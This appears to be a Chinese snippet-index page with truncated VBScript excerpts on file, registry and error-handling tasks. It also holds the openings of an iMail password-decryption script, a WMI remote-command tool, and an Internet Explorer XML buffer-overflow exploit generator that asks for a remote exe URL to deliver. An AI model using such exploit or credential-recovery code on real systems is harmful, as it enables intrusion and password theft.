2020-02-16 标签:asp,fso,操作,实现,代码,如下,系统,版本,文件,文本,创建,日期,2005,10,31,class,cls

实现代码如下： 0 ThenInit_Object = FalseErr.ClearExit FunctionElseInit_Object = TrueEnd IfEnd IfEnd FunctionPublic Sub DeleteFile(ByVal Str)On Error Resume N

2020-02-16 标签:vbscript,error,resume,n,ext,容错,使用,心得,错误处理,完成,如果在,代码,里加,这一句,在这,其他,出现,错误,系统

vbscript中，错误处理使用on error resume next来完成，如果在你的代码里加入这一句，在这句之后的其他代码如果出现错误，系统将忽略这些错误继续运行后面的代码，同时，我们可以使用下面的代码来捕获错误实现代码如下：If err.number<>0 then errNum

2020-02-16 标签:完整,注册表,操作,实例,vbs,脚本,创建,主键,各类,型的,键值,读取,分析,类型,枚举,判断,是否

①创建主键、创建各类型的键值。 ②读取键值并分析键值类型。 ③枚举主键及键值。 ④判断键或键值是否存在。 ⑤查询注册表键的操作权限。 ⑥监视注册表根键、主键、键值，当发现变动时提示。 实现代码如下：'''注册表查询/操作 On Error Resume Next Const HKEY_CLASSES

2020-02-16 标签:vbs,imail,密码,解密,实现,代码,如下,error,resume,n,ext,const,hkey,local,machine,h,80000002,strcomputer,set,oreg

实现代码如下：on error resume next const HKEY_LOCAL_MACHINE = &H80000002 strComputer = "." Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!

2020-02-16 标签:脚本,msagent,组件,微软,精灵,揪出,系统,自带,宠物,实现,代码,如下,error,resume,next,merlin,c,windows

实现代码如下：'On Error Resume Next strAgentName = "Merlin" strAgentPath = "c:\windows\msagent\chars\" & strAgentName & ".acs" ScriptComplete=0 Set o

2020-02-16 标签:rcmd,vbs,remote,cmd,wmi,远程,脚本,实现,代码,如下,error,resume,next,set,outstreem,wscript,stdout,lcase,right,fullname

实现代码如下：On Error Resume Next Set outstreem=Wscript.stdout If (LCase(Right(Wscript.fullname,11))="Wscript.exe") Then Set objShell=Wscript.CreateObject("

2020-02-16 标签:vbs,实现,域名,查询,结果,整理,碰到,虚拟,还是能,懒的,代码,如下,error,resume,next,set,arg

碰到虚拟机的时候,还是能偷点懒的 :-)实现代码如下： On Error Resume Next Set Arg=Wscript.Arguments If Arg.count=0 then Wscript.quit 'code by NetPatch 'enjoy it Set Fso=Create

2020-02-16 标签:vbs,asp,代码,转成,一句话,形式,结果,发现,table,不行,类似,xx,yy,脚本,支持,拖放,也可以

结果发现,有TABLE不行 类似if xx=1 then yy=2 的也不行... //此脚本支持拖放,也可以在命令行下使用 cscript change.vbs xx.asp 实现代码如下： On Error Resume Next Set Arg=Wscript.Arguments If Arg

2020-02-16 标签:vbs,hta,中选,文件夹,对话框,实现,代码,如下,error,resume,n,ext,function,const,computer,h,11,window

实现代码如下：on error resume next SelectFolder function SelectFolder() Const MY_COMPUTER = &H11& Const WINDOW_HANDLE = 0 Const OPTIONS = 0 Set objSh

2020-02-16 标签:生成器,ms,internet,explorer,xml,parsing,buffer,overflow,exploit,vista,day,code,lcx,error,resume,next,exeurl

'code by lcx On Error Resume Next Exeurl = InputBox( "请输入exe的地址：", "输入", "http://www.haiyangtop.net/333.exe" ) url="http://www.metasploit.com:55555/PA